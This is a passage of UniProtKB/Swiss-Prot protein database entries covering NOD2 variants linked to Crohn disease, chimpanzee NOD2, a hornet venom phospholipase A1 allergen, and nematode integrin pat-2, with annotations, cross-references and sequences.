FT VARIANT 790 790 R -> Q (in dbSNP:rs5743279).
FT /FTId=VAR_024402.
FT VARIANT 790 790 R -> W (found in a patient with Crohn
FT disease; unknown pathological
FT significance; dbSNP:rs62029861).
FT {ECO:0000269|PubMed:16485124}.
FT /FTId=VAR_073245.
FT VARIANT 791 791 R -> W (in dbSNP:rs104895484).
FT {ECO:0000269|PubMed:16485124}.
FT /FTId=VAR_073246.
FT VARIANT 793 793 V -> M (associated with Crohn disease;
FT dbSNP:rs104895444).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012696.
FT VARIANT 825 825 N -> K (in dbSNP:rs104895485).
FT {ECO:0000269|PubMed:16485124}.
FT /FTId=VAR_073247.
FT VARIANT 843 843 E -> K (associated with Crohn disease;
FT dbSNP:rs104895445).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012697.
FT VARIANT 849 849 A -> V (in dbSNP:rs104895486).
FT {ECO:0000269|PubMed:16485124}.
FT /FTId=VAR_073248.
FT VARIANT 852 852 N -> S (found in a patient with Crohn
FT disease; unknown pathological
FT significance; dbSNP:rs104895467).
FT {ECO:0000269|PubMed:15024686}.
FT /FTId=VAR_073249.
FT VARIANT 853 853 N -> S (associated with Crohn disease;
FT dbSNP:rs104895446).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012698.
FT VARIANT 863 863 M -> V (associated with Crohn disease;
FT dbSNP:rs104895447).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012699.
FT VARIANT 885 885 A -> T (associated with ulcerative
FT colitis). {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012700.
FT VARIANT 908 908 G -> R (associated with Crohn disease;
FT decreases half-life of protein;
FT dbSNP:rs2066845).
FT {ECO:0000269|PubMed:11087742,
FT ECO:0000269|PubMed:11385576,
FT ECO:0000269|PubMed:24790089}.
FT /FTId=VAR_012701.
FT VARIANT 918 918 A -> D (associated with Crohn disease;
FT dbSNP:rs104895452).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012702.
FT VARIANT 924 924 G -> D (associated with Crohn disease;
FT dbSNP:rs104895453).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012703.
FT VARIANT 955 955 V -> I (in dbSNP:rs5743291).
FT {ECO:0000269|PubMed:11385576}.
FT /FTId=VAR_012704.
FT MUTAGEN 305 305 K->R: No activation.
FT {ECO:0000269|PubMed:11087742}.
FT MUTAGEN 379 379 D->A: No disruption in NOD2-CARD9
FT interaction.
FT {ECO:0000269|PubMed:24960071}.
SQ SEQUENCE 1040 AA; 115283 MW; 0037592D96D7DDFF CRC64;
MGEEGGSASH DEEERASVLL GHSPGCEMCS QEAFQAQRSQ LVELLVSGSL EGFESVLDWL
LSWEVLSWED YEGFHLLGQP LSHLARRLLD TVWNKGTWAC QKLIAAAQEA QADSQSPKLH
GCWDPHSLHP ARDLQSHRPA IVRRLHSHVE NMLDLAWERG FVSQYECDEI RLPIFTPSQR
ARRLLDLATV KANGLAAFLL QHVQELPVPL ALPLEAATCK KYMAKLRTTV SAQSRFLSTY
DGAETLCLED IYTENVLEVW ADVGMAGPPQ KSPATLGLEE LFSTPGHLND DADTVLVVGE
AGSGKSTLLQ RLHLLWAAGQ DFQEFLFVFP FSCRQLQCMA KPLSVRTLLF EHCCWPDVGQ
EDIFQLLLDH PDRVLLTFDG FDEFKFRFTD RERHCSPTDP TSVQTLLFNL LQGNLLKNAR
KVVTSRPAAV SAFLRKYIRT EFNLKGFSEQ GIELYLRKRH HEPGVADRLI RLLQETSALH
GLCHLPVFSW MVSKCHQELL LQEGGSPKTT TDMYLLILQH FLLHATPPDS ASQGLGPSLL
RGRLPTLLHL GRLALWGLGM CCYVFSAQQL QAAQVSPDDI SLGFLVRAKG VVPGSTAPLE
FLHITFQCFF AAFYLALSAD VPPALLRHLF NCGRPGNSPM ARLLPTMCIQ ASEGKDSSVA
ALLQKAEPHN LQITAAFLAG LLSREHWGLL AECQTSEKAL LRRQACARWC LARSLRKHFH
SIPPAAPGEA KSVHAMPGFI WLIRSLYEMQ EERLARKAAR GLNVGHLKLT FCSVGPTECA
ALAFVLQHLR RPVALQLDYN SVGDIGVEQL LPCLGVCKAL YLRDNNISDR GICKLIECAL
HCEQLQKLAL FNNKLTDGCA HSMAKLLACR QNFLALRLGN NYITAAGAQV LAEGLRGNTS
LQFLGFWGNR VGDEGAQALA EALGDHQSLR WLSLVGNNIG SVGAQALALM LAKNVMLEEL
CLEENHLQDE GVCSLAEGLK KNSSLKILKL SNNCITYLGA EALLQALERN DTILEVWLRG
NTFSLEEVDK LGCRDTRLLL
//
ID NOD2_PANTR Reviewed; 1040 AA.
AC Q53B87;
DT 05-JUL-2005, integrated into UniProtKB/Swiss-Prot.
DT 24-MAY-2005, sequence version 1.
DT 06-JUL-2016, entry version 73.
DE RecName: Full=Nucleotide-binding oligomerization domain-containing protein 2;
DE AltName: Full=Caspase recruitment domain-containing protein 15;
GN Name=NOD2; Synonyms=CARD15;
OS Pan troglodytes (Chimpanzee).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Primates; Haplorrhini;
OC Catarrhini; Hominidae; Pan.
OX NCBI_TaxID=9598;
RN [1]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA].
RA King K., Sheikh M., Cuthbert A.P., Fisher S.A., Mirza M.M.,
RA Sanderson J., Forbes A., Mansfield J., Roberts R.G., Mathew C.G.;
RT "Mutation, selection and evolution of the Crohn's disease
RT susceptibility gene, CARD15.";
RL Submitted (APR-2004) to the EMBL/GenBank/DDBJ databases.
CC -!- FUNCTION: Involved in gastrointestinal immunity. Upon stimulation
CC by muramyl dipeptide (MDP), a fragment of bacterial peptidoglycan,
CC binds the proximal adapter receptor-interacting RIPK2, which
CC recruits ubiquitin ligases as XIAP, BIRC2, BIRC3 and the LUBAC
CC complex, triggering activation of MAP kinases and activation of
CC NF-kappa-B signaling. This in turn leads to the transcriptional
CC activation of hundreds of genes involved in immune response.
CC Required for MDP-induced NLRP1-dependent CASP1 activation and IL1B
CC release in macrophages. {ECO:0000250|UniProtKB:Q9HC29}.
CC -!- SUBUNIT: Component of a signaling complex consisting of ARHGEF2,
CC NOD2 and RIPK2. Interacts (via CARD domain) with RIPK2 (via CARD
CC domain). Interacts with ATG16L1. Interacts (via NACHT domain) with
CC CARD9. Interacts with ANKRD17 (via N-terminus). Interacts with
CC HSPA1A; the interaction enhances NOD2 stability. Interacts (via
CC both CARD domains) with HSP90; the interaction enhances NOD2
CC stability. Interacts (via CARD domain) with SOCS3; the interaction
CC promotes NOD2 degradation. Interacts (via CARD domain) with
CC ERBBI2P; the interaction inhibits activation of NOD2. Interacts
CC (via CARD domain) with CASP1; this interaction leads to IL1B
CC processing. Also interacts with CASP4. Interacts with NLRP1; this
CC interaction is enhanced in the presence of muramyl dipeptide (MDP)
CC and leads to increased IL1B release.
CC {ECO:0000250|UniProtKB:Q9HC29}.
CC -!- SUBCELLULAR LOCATION: Cytoplasm {ECO:0000250|UniProtKB:Q9HC29}.
CC Membrane {ECO:0000250|UniProtKB:Q9HC29}. Basolateral cell membrane
CC {ECO:0000250|UniProtKB:Q9HC29}.
CC -!- DOMAIN: The ATG16L1-binding motif mediates interaction with
CC ATG16L1. {ECO:0000250}.
CC -!- DOMAIN: Intramolecular interactions between the N-terminal moiety
CC and the leucine-rich repeats (LRR) may be important for
CC autoinhibition in the absence of activating signal. In the absence
CC of LRRs, the protein becomes a constitutive activator of CASP1
CC cleavage and proIL1B processing. {ECO:0000250|UniProtKB:Q9HC29}.
CC -!- PTM: Polyubiquitinated following MDP stimulation, leading to
CC proteasome-mediated degradation. {ECO:0000250|UniProtKB:Q9HC29}.
CC -!- SIMILARITY: Contains 2 CARD domains. {ECO:0000255|PROSITE-
CC ProRule:PRU00046}.
CC -!- SIMILARITY: Contains 9 LRR (leucine-rich) repeats. {ECO:0000305}.
CC -!- SIMILARITY: Contains 1 NACHT domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00136}.
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DR EMBL; AY594173; AAS89991.1; -; Genomic_DNA.
DR EMBL; AY594162; AAS89991.1; JOINED; Genomic_DNA.
DR EMBL; AY594163; AAS89991.1; JOINED; Genomic_DNA.
DR EMBL; AY594164; AAS89991.1; JOINED; Genomic_DNA.
DR EMBL; AY594165; AAS89991.1; JOINED; Genomic_DNA.
DR EMBL; AY594166; AAS89991.1; JOINED; Genomic_DNA.
DR EMBL; AY594167; AAS89991.1; JOINED; Genomic_DNA.
DR EMBL; AY594168; AAS89991.1; JOINED; Genomic_DNA.
DR EMBL; AY594169; AAS89991.1; JOINED; Genomic_DNA.
DR EMBL; AY594170; AAS89991.1; JOINED; Genomic_DNA.
DR EMBL; AY594171; AAS89991.1; JOINED; Genomic_DNA.
DR EMBL; AY594172; AAS89991.1; JOINED; Genomic_DNA.
DR ProteinModelPortal; Q53B87; -.
DR STRING; 9598.ENSPTRP00000013836; -.
DR PaxDb; Q53B87; -.
DR KEGG; ptr:454083; -.
DR CTD; 64127; -.
DR eggNOG; KOG4308; Eukaryota.
DR eggNOG; ENOG410ZBX3; LUCA.
DR HOGENOM; HOG000113814; -.
DR HOVERGEN; HBG050792; -.
DR InParanoid; Q53B87; -.
DR KO; K10165; -.
DR Proteomes; UP000002277; Unplaced.
DR GO; GO:0016323; C:basolateral plasma membrane; IEA:UniProtKB-SubCell.
DR GO; GO:0005737; C:cytoplasm; ISS:UniProtKB.
DR GO; GO:0005856; C:cytoskeleton; ISS:UniProtKB.
DR GO; GO:0043234; C:protein complex; ISS:UniProtKB.
DR GO; GO:0031982; C:vesicle; ISS:UniProtKB.
DR GO; GO:0005524; F:ATP binding; IEA:UniProtKB-KW.
DR GO; GO:0071225; P:cellular response to muramyl dipeptide; ISS:UniProtKB.
DR GO; GO:0045087; P:innate immune response; ISS:UniProtKB.
DR GO; GO:0070431; P:nucleotide-binding oligomerization domain containing 2 signaling pathway; ISS:UniProtKB.
DR GO; GO:0051092; P:positive regulation of NF-kappaB transcription factor activity; ISS:UniProtKB.
DR GO; GO:0045944; P:positive regulation of transcription from RNA polymerase II promoter; ISS:UniProtKB.
DR GO; GO:0042981; P:regulation of apoptotic process; IEA:InterPro.
DR Gene3D; 1.10.533.10; -; 2.
DR Gene3D; 3.80.10.10; -; 1.
DR InterPro; IPR001315; CARD.
DR InterPro; IPR011029; DEATH-like_dom.
DR InterPro; IPR032675; L_dom-like.
DR InterPro; IPR001611; Leu-rich_rpt.
DR InterPro; IPR007111; NACHT_NTPase.
DR InterPro; IPR027417; P-loop_NTPase.
DR Pfam; PF00619; CARD; 1.
DR Pfam; PF13516; LRR_6; 3.
DR SUPFAM; SSF47986; SSF47986; 2.
DR SUPFAM; SSF52540; SSF52540; 1.
DR PROSITE; PS50209; CARD; 2.
DR PROSITE; PS51450; LRR; 4.
DR PROSITE; PS50837; NACHT; 1.
PE 3: Inferred from homology;
KW ATP-binding; Cell membrane; Complete proteome; Cytoplasm; Immunity;
KW Innate immunity; Leucine-rich repeat; Membrane; Nucleotide-binding;
KW Reference proteome; Repeat; Ubl conjugation.
FT CHAIN 1 1040 Nucleotide-binding oligomerization
FT domain-containing protein 2.
FT /FTId=PRO_0000144092.
FT DOMAIN 26 122 CARD 1. {ECO:0000255|PROSITE-
FT ProRule:PRU00046}.
FT DOMAIN 126 218 CARD 2. {ECO:0000255|PROSITE-
FT ProRule:PRU00046}.
FT DOMAIN 293 618 NACHT. {ECO:0000255|PROSITE-
FT ProRule:PRU00136}.
FT REPEAT 791 812 LRR 1.
FT REPEAT 816 839 LRR 2.
FT REPEAT 844 865 LRR 3.
FT REPEAT 872 884 LRR 4.
FT REPEAT 900 920 LRR 5.
FT REPEAT 928 949 LRR 6.
FT REPEAT 956 976 LRR 7.
FT REPEAT 984 1005 LRR 8.
FT REPEAT 1012 1032 LRR 9.
FT NP_BIND 299 306 ATP. {ECO:0000255|PROSITE-
FT ProRule:PRU00136}.
FT REGION 241 274 Required for CARD9 binding.
FT {ECO:0000250|UniProtKB:Q9HC29}.
FT MOTIF 63 77 ATG16L1-binding motif.
SQ SEQUENCE 1040 AA; 115298 MW; BF0496FFF39D0428 CRC64;
MGEEGGSVSH DEEERASVLL GHSLGCEMCS QEAFQAQRSQ LVELLVSGSL EGFESVLDWL
LSWEVLSWED YEGFHLLGQP LSHLARRLLD TVWNKGTWAC QKLIAAAQEA QADSQSPKLH
GCWDPHSLHP ARDLQSHRPA IVRRLHNHVE NMLDLAWERG FVSQYECDEI RLPIFTPSQR
ARRLLDLATV KANGLAAFLL QHVQELPVPL ALPLEAATCK KYMAKLRTTV SAQSRFLSTY
DGAETLCLED IYTENVLEVW ADVGMAGPPQ KSPATLGLEE LFSTPGHLND DADTVLVVGE
AGSGKSTLLQ RLHLLWAAGR DFQEFLFVFP FSCRQLQCMA KPLSVRTLLF EHCCWPDVGQ
EDIFQLLLDH PDRVLLTFDG FDEFKFRFTD RERHCSPTDP TSVQTLLFNL LQGNLLKNAR
KVVTSRPAAV SAFLRKYIRT EFNLKGFSEQ GIELYLRKRH REPGVADRLI RLLQATSALH
GLCHLPVFSW MVSKCHQELL LQEGGSPKTT TDMYLLILQH FLLHATPPDS ASQGLGPSLL
RGRLPTLLHL GRLALWGLGM CCYVFSAQQL QAAQVSPDDI SLGFLVRAKG VVPGSTAPLE
FLHITFQCFF AAFYLALSAD VPPALLRHLF NCGRPGNSPM ARLLPTMCIQ GSEGKDSSVA
ALLQKAEPHN LQITAAFLAG LLSREHWGLL AECQTSEKAL LRRQACARWC LARSLRKHFH
SIPPAAPGEA KSVHAMPGFI WLIRSLYEMQ EERLARKAAR GLNVGHLKLT FCSVGPAECA
ALAFVLQHLR RPVALQLDYN SVGDIGVEQL LPCLGVCKAL YLRDNNISDR GICKLIECAL
HCEQLQKLAL FNNKLTDGCA HSMAKLLACR QNFLALRLGN NYITAAGAQV LAQGLRGNTS
LQFLGFWGNR VGDEGAQALA EALGDHQSLR WLSLVGNNIG SVGAQALALM LAKNVMLEEL
CLEENHLQDE GVCSLAEGLK KNSSLKILKL SNNCITYLGA EALLQALERN DTILEVWLRG
NTFSLEEVDK LGCRDTRLLL
//
ID PA11_VESAF Reviewed; 334 AA.
AC P0DMB4;
DT 22-JAN-2014, integrated into UniProtKB/Swiss-Prot.
DT 22-JAN-2014, sequence version 1.
DT 22-JUL-2015, entry version 7.
DE RecName: Full=Phospholipase A1 1;
DE EC=3.1.1.32;
DE AltName: Full=Vespapase;
DE AltName: Allergen=Dol Ves a 1.01;
DE Flags: Precursor;
OS Vespa affinis (Lesser banded hornet).
OC Eukaryota; Metazoa; Ecdysozoa; Arthropoda; Hexapoda; Insecta;
OC Pterygota; Neoptera; Endopterygota; Hymenoptera; Apocrita; Aculeata;
OC Vespoidea; Vespidae; Vespinae; Vespa.
OX NCBI_TaxID=882735;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA], CATALYTIC ACTIVITY, FUNCTION, BIOASSAY,
RP BIOPHYSICOCHEMICAL PROPERTIES, PARALYTIC DOSE, 3D-STRUCTURE MODELING,
RP PROBABLE DISULFIDE BONDS, AND MASS SPECTROMETRY.
RC TISSUE=Venom, and Venom gland;
RX PubMed=23159790; DOI=10.1016/j.toxicon.2012.10.024;
RA Sukprasert S., Rungsa P., Uawonggul N., Incamnoi P., Thammasirirak S.,
RA Daduang J., Daduang S.;
RT "Purification and structural characterisation of phospholipase A1
RT (Vespapase, Ves a 1) from Thai banded tiger wasp (Vespa affinis)
RT venom.";
RL Toxicon 61:151-164(2013).
CC -!- FUNCTION: Hydrolysis of phosphatidylcholine with phospholipase A1
CC (EC 3.1.1.32) activity. Has weak hemolytic activity (By
CC similarity). Shows a phospholipase A1 enzymatic activity of 3.6
CC U/ml. {ECO:0000250, ECO:0000269|PubMed:23159790}.
CC -!- CATALYTIC ACTIVITY: Phosphatidylcholine + H(2)O = 2-
CC acylglycerophosphocholine + a carboxylate.
CC {ECO:0000269|PubMed:23159790}.
CC -!- BIOPHYSICOCHEMICAL PROPERTIES:
CC Temperature dependence:
CC Loses its activity after heat treatment.
CC {ECO:0000269|PubMed:23159790};
CC -!- SUBCELLULAR LOCATION: Secreted.
CC -!- TISSUE SPECIFICITY: Expressed by the venom gland.
CC -!- PTM: Not glycosylated. {ECO:0000269|PubMed:23159790}.
CC -!- MASS SPECTROMETRY: Mass=33441.5; Method=MALDI; Range=34-334;
CC Evidence={ECO:0000269|PubMed:23159790};
CC -!- ALLERGEN: Causes an allergic reaction in human. {ECO:0000250}.
CC -!- TOXIC DOSE: 60 mg/kg body weight of a mixture of this protein and
CC Ves a 1.02 is able to paralyze 33% of the crickets.
CC {ECO:0000269|PubMed:23159790}.
CC -!- SIMILARITY: Belongs to the AB hydrolase superfamily. Lipase
CC family. {ECO:0000305}.
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DR Allergome; 11764; Vesp a 1.
DR GO; GO:0005576; C:extracellular region; IEA:UniProtKB-SubCell.
DR GO; GO:0052740; F:1-acyl-2-lysophosphatidylserine acylhydrolase activity; IEA:UniProtKB-EC.
DR GO; GO:0008970; F:phosphatidylcholine 1-acylhydrolase activity; IEA:UniProtKB-EC.
DR GO; GO:0052739; F:phosphatidylserine 1-acylhydrolase activity; IEA:UniProtKB-EC.
DR GO; GO:0044179; P:hemolysis in other organism; IEA:UniProtKB-KW.
DR GO; GO:0016042; P:lipid catabolic process; IEA:UniProtKB-KW.
DR Gene3D; 3.40.50.1820; -; 1.
DR InterPro; IPR029058; AB_hydrolase.
DR InterPro; IPR002334; Allerg_PlipaseA1.
DR InterPro; IPR013818; Lipase_N.
DR InterPro; IPR000734; TAG_lipase.
DR PANTHER; PTHR11610; PTHR11610; 1.
DR Pfam; PF00151; Lipase; 1.
DR PRINTS; PR00825; DOLALLERGEN.
DR SUPFAM; SSF53474; SSF53474; 1.
DR PROSITE; PS00120; LIPASE_SER; 1.
PE 1: Evidence at protein level;
KW Allergen; Cytolysis; Disulfide bond; Hemolysis; Hydrolase;
KW Lipid degradation; Lipid metabolism; Secreted; Signal.
FT SIGNAL 1 23 {ECO:0000255}.
FT PROPEP 24 33 {ECO:0000250}.
FT /FTId=PRO_0000425192.
FT CHAIN 34 334 Phospholipase A1 1.
FT /FTId=PRO_0000425193.
FT ACT_SITE 170 170 Nucleophile. {ECO:0000250}.
FT ACT_SITE 198 198 Charge relay system.
FT {ECO:0000255|PROSITE-ProRule:PRU10037}.
FT ACT_SITE 263 263 Charge relay system.
FT {ECO:0000255|PROSITE-ProRule:PRU10037}.
FT DISULFID 37 278 {ECO:0000305}.
FT DISULFID 120 261 {ECO:0000305}.
FT DISULFID 209 252 {ECO:0000305}.
FT DISULFID 214 295 {ECO:0000305}.
FT DISULFID 273 279 {ECO:0000305}.
FT DISULFID 302 327 {ECO:0000305}.
SQ SEQUENCE 334 AA; 37318 MW; 8B8712D786F38B12 CRC64;
MMNLKYLLFF CLVQALHYCY AYGDPSLSNE LDRFNPCPYS DDTVKMIILT RENKKHDFYT
LNTIKNHNEF KKSTIKHQVV FITHGFTSTA TAENFLAMAE ALLDKGNYLV ILIDWRVAAC
TNEMAGVKLA YYSYAASNTR LVGNYIATVT KMLVQQYNVP MANIRLIGHS LGAHTSGFAG
KKVQELRLGK YSEIIGLDPA GPSFKSQECS QRICETDANY VQIIHTSNHL GTLVTLGTVD
FYMNNGYNQP GCGLPIIGET CSHTRAVKYF TECIRHECCL IGVPQSKNPQ PVSKCTRNEC
VCVGLNAKTY PKTGSFYVPV ESKAPYCNNK GKII
//
ID PAT2_CAEBR Reviewed; 1224 AA.
AC A8X3A7;
DT 14-APR-2009, integrated into UniProtKB/Swiss-Prot.
DT 16-DEC-2008, sequence version 2.
DT 07-SEP-2016, entry version 45.
DE RecName: Full=Integrin alpha pat-2 {ECO:0000250|UniProtKB:P34446};
DE AltName: Full=Paralyzed arrest at two-fold protein 2;
DE Flags: Precursor;
GN Name=pat-2 {ECO:0000312|EMBL:CAP27117.2}; ORFNames=CBG06891;
OS Caenorhabditis briggsae.
OC Eukaryota; Metazoa; Ecdysozoa; Nematoda; Chromadorea; Rhabditida;
OC Rhabditoidea; Rhabditidae; Peloderinae; Caenorhabditis.
OX NCBI_TaxID=6238;
RN [1] {ECO:0000312|EMBL:CAP27117.2}
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=AF16 {ECO:0000312|EMBL:CAP27117.2};
RX PubMed=14624247; DOI=10.1371/journal.pbio.0000045;
RA Stein L.D., Bao Z., Blasiar D., Blumenthal T., Brent M.R., Chen N.,
RA Chinwalla A., Clarke L., Clee C., Coghlan A., Coulson A.,
RA D'Eustachio P., Fitch D.H.A., Fulton L.A., Fulton R.E.,
RA Griffiths-Jones S., Harris T.W., Hillier L.W., Kamath R.,
RA Kuwabara P.E., Mardis E.R., Marra M.A., Miner T.L., Minx P.,
RA Mullikin J.C., Plumb R.W., Rogers J., Schein J.E., Sohrmann M.,
RA Spieth J., Stajich J.E., Wei C., Willey D., Wilson R.K., Durbin R.M.,
RA Waterston R.H.;
RT "The genome sequence of Caenorhabditis briggsae: a platform for
RT comparative genomics.";
RL PLoS Biol. 1:166-192(2003).
CC -!- FUNCTION: Required for muscle development probably through the
CC regulation of the actin-myosin cytoskeleton. During the formation
CC of neuromuscular junctions at the larval stage, negatively
CC regulates membrane protrusion from body wall muscles, probably
CC through lamins such as epi-1, lam-2 and unc-52. Required for
CC distal tip cell migration and dorsal pathfinding. Required for
CC egg-laying. May play a role in cell motility and cell-cell
CC interactions. {ECO:0000250|UniProtKB:P34446,
CC ECO:0000250|UniProtKB:P53708}.
CC -!- SUBUNIT: Heterodimer of an alpha and a beta subunit. Alpha pat-2
CC associates with beta pat-3 (By similarity). {ECO:0000250}.
CC -!- SUBCELLULAR LOCATION: Membrane {ECO:0000250|UniProtKB:Q3UV74};
CC Single-pass type I membrane protein
CC {ECO:0000250|UniProtKB:Q3UV74}.
CC -!- SIMILARITY: Belongs to the integrin alpha chain family.
CC {ECO:0000255}.
CC -!- SIMILARITY: Contains 7 FG-GAP repeats. {ECO:0000255|PROSITE-
CC ProRule:PRU00803}.
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DR EMBL; HE601347; CAP27117.2; -; Genomic_DNA.
DR STRING; 6238.CBG06891; -.
DR EnsemblMetazoa; CBG06891; CBG06891; WBGene00029084.
DR WormBase; CBG06891; CBP34898; WBGene00029084; Cbr-pat-2.
DR eggNOG; KOG3637; Eukaryota.
DR eggNOG; ENOG410XPVZ; LUCA.
DR HOGENOM; HOG000115457; -.
DR InParanoid; A8X3A7; -.
DR OMA; MCIPDLK; -.
DR OrthoDB; EOG091G02JI; -.
DR Proteomes; UP000008549; Chromosome III.
DR Proteomes; UP000008549; Unassembled WGS sequence.
DR GO; GO:0008305; C:integrin complex; IEA:InterPro.
DR GO; GO:0007155; P:cell adhesion; IEA:UniProtKB-KW.
DR GO; GO:0007229; P:integrin-mediated signaling pathway; IEA:UniProtKB-KW.
DR InterPro; IPR013517; FG-GAP.
DR InterPro; IPR013519; Int_alpha_beta-p.
DR InterPro; IPR000413; Integrin_alpha.
DR InterPro; IPR013649; Integrin_alpha-2.
DR InterPro; IPR018184; Integrin_alpha_C_CS.
DR InterPro; IPR032695; Integrin_dom.
DR Pfam; PF01839; FG-GAP; 1.
DR Pfam; PF00357; Integrin_alpha; 1.
DR Pfam; PF08441; Integrin_alpha2; 1.
DR PRINTS; PR01185; INTEGRINA.
DR SMART; SM00191; Int_alpha; 5.
DR SUPFAM; SSF69179; SSF69179; 4.
DR PROSITE; PS51470; FG_GAP; 7.
DR PROSITE; PS00242; INTEGRIN_ALPHA; 1.
PE 3: Inferred from homology;
KW Cell adhesion; Complete proteome; Glycoprotein; Integrin; Membrane;
KW Receptor; Reference proteome; Repeat; Signal; Transmembrane;
KW Transmembrane helix.
FT SIGNAL 1 27 {ECO:0000255}.
FT CHAIN 28 1224 Integrin alpha pat-2. {ECO:0000255}.
FT /FTId=PRO_0000370206.
FT TOPO_DOM 28 1153 Extracellular. {ECO:0000255}.
FT TRANSMEM 1154 1174 Helical. {ECO:0000255}.
FT TOPO_DOM 1175 1224 Cytoplasmic. {ECO:0000255}.
FT REPEAT 29 96 FG-GAP 1. {ECO:0000255|PROSITE-
FT ProRule:PRU00803}.
FT REPEAT 110 173 FG-GAP 2. {ECO:0000255|PROSITE-
FT ProRule:PRU00803}.
FT REPEAT 180 235 FG-GAP 3. {ECO:0000255|PROSITE-
FT ProRule:PRU00803}.
FT REPEAT 236 292 FG-GAP 4. {ECO:0000255|PROSITE-
FT ProRule:PRU00803}.
FT REPEAT 293 347 FG-GAP 5. {ECO:0000255|PROSITE-
FT ProRule:PRU00803}.
FT REPEAT 364 423 FG-GAP 6. {ECO:0000255|PROSITE-
FT ProRule:PRU00803}.
FT REPEAT 427 490 FG-GAP 7. {ECO:0000255|PROSITE-
FT ProRule:PRU00803}.
FT MOTIF 622 624 Cell attachment site. {ECO:0000255}.
FT CARBOHYD 74 74 N-linked (GlcNAc...). {ECO:0000255}.
FT CARBOHYD 110 110 N-linked (GlcNAc...). {ECO:0000255}.
FT CARBOHYD 230 230 N-linked (GlcNAc...). {ECO:0000255}.
FT CARBOHYD 292 292 N-linked (GlcNAc...). {ECO:0000255}.
FT CARBOHYD 610 610 N-linked (GlcNAc...). {ECO:0000255}.
FT CARBOHYD 681 681 N-linked (GlcNAc...). {ECO:0000255}.
FT CARBOHYD 775 775 N-linked (GlcNAc...). {ECO:0000255}.
FT CARBOHYD 819 819 N-linked (GlcNAc...). {ECO:0000255}.
SQ SEQUENCE 1224 AA; 135935 MW; 8F75B2BB878FB360 CRC64;
MREGSFPRRT RLLCLLAAVV LISTVTSFNI DTKNVVLHHM ANNYFGYSLD FYNEQKGMPV
LVVGAPEAET TNPNLSGIRR PGAVYACSVN RPTCREVHVD KMKGNLKKLN GSHLVPIEDK
AYQFFGATVK SNDKHDKLLM CAPKYKYFYS KFEVIEPVGT CFYAENGFEK TEEFSSCKQE
PARHGRHRLG YGQCGFSGAI PGKKNQDRVF LGAPGVWYWQ GAIFSQNTKN QTDRPNTEYG
SKEYDHDMMG YATATGDFDG DGIDDIVAGV PRGNDLHGKL VLYTSKLKMM INLTDEVSTQ
HGQYCGGALA VADVNKDGRD DIIMGCPFYT DYGSVKDAKT QERKPQYDVG KVIVFLQTAP
GVFGKQLAVV GDDQWGRFGH SLAAAGDLNL DGYNDVIVGA PYAGKNKQGA VYVIHGSKDG
VREKPTQKIE ASQIGHGTAR AFGFAVAGGV DVDGNGMPDI AVGAWKSGNA AVLLTKPVVT
VTGATEPESA LINVEEKNCD VDGKLGKQAC RHINTCFKYE GKGDTPNDLE FDLRFNLDDH
SPEPRAYFLQ KDVKSDRSIK VASGSKTRDH PSSIEQRVRL EKGRQKCFRH RFFASSTMKD
KLSPIHWSVN YTYVESKSGK LRGDKLEPAI DTTVPLSFQN KINIANNCGK DDLCVPDLKV
TAVADREKFL LGTQDNTMLI NVTVQNGGED SYETKLYFDV PQGFEYGGIE SVGADGSAPA
CSPTSDEPDS DGKWTFACDL GNPLPANKVV SSVVRVTASS DKPPLAPISI NAHVNSSNDE
EAHTIADNKV TFTIPVDFKN QLSLNGRSNP EQVDFSMTNK TRSDVFDDNE IGPVVSHLYQ
ISNRGPSEID AATLDIFWPS FSTEGGHLLY IITEPVVNPP NKGRCRVKQL QNVNPLNLRI
TNEHVPTEPP VAKTPNEYSR EEDDESYEDE TTTQSQTHHQ TRTEHTQHHQ GPVHVYERDE
DKIRQNTGNW QYVEDKKKKG DYEYIPDDQE YDGDDFEDDD EDFDRAGSKR VKRAPVPKKK
KKEGSRSGEP RSDKARFSDL REAVKLSKEA GGVVDYKGPL SRASVDCNGL RCTHIECDIY
DLKEDEFVLV EIFSRLYTNT LVDERNPGGD ISSLALARVT STKYNWPHKP TLITAVSTNM
NAIASEEGRD LPWWLYLLAI LIGLAILILL ILLLWRCGFF KRNRPPTEHA ELRAEKQPAA
HYADTQSRYA PQDQYSQGRH GQML
//
ID PAT2_CAEEL Reviewed; 1226 AA.
AC P34446;
DT 01-FEB-1994, integrated into UniProtKB/Swiss-Prot.
DT 01-FEB-1994, sequence version 1.
DT 07-SEP-2016, entry version 132.
DE RecName: Full=Integrin alpha pat-2;
DE AltName: Full=Paralyzed arrest at two-fold protein 2;
DE Flags: Precursor;
GN Name=pat-2; ORFNames=F54F2.1;
OS Caenorhabditis elegans.
OC Eukaryota; Metazoa; Ecdysozoa; Nematoda; Chromadorea; Rhabditida;
OC Rhabditoidea; Rhabditidae; Peloderinae; Caenorhabditis.
OX NCBI_TaxID=6239;
RN [1]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=Bristol N2;
RX PubMed=7906398; DOI=10.1038/368032a0;
RA Wilson R., Ainscough R., Anderson K., Baynes C., Berks M.,
RA Bonfield J., Burton J., Connell M., Copsey T., Cooper J., Coulson A.,
RA Craxton M., Dear S., Du Z., Durbin R., Favello A., Fraser A.,
RA Fulton L., Gardner A., Green P., Hawkins T., Hillier L., Jier M.,
RA Johnston L., Jones M., Kershaw J., Kirsten J., Laisster N.,
RA Latreille P., Lightning J., Lloyd C., Mortimore B., O'Callaghan M.,
RA Parsons J., Percy C., Rifken L., Roopra A., Saunders D., Shownkeen R.,
RA Sims M., Smaldon N., Smith A., Smith M., Sonnhammer E., Staden R.,
RA Sulston J., Thierry-Mieg J., Thomas K., Vaudin M., Vaughan K.,
RA Waterston R., Watson A., Weinstock L., Wilkinson-Sproat J.,
RA Wohldman P.;
RT "2.2 Mb of contiguous nucleotide sequence from chromosome III of C.
RT elegans.";
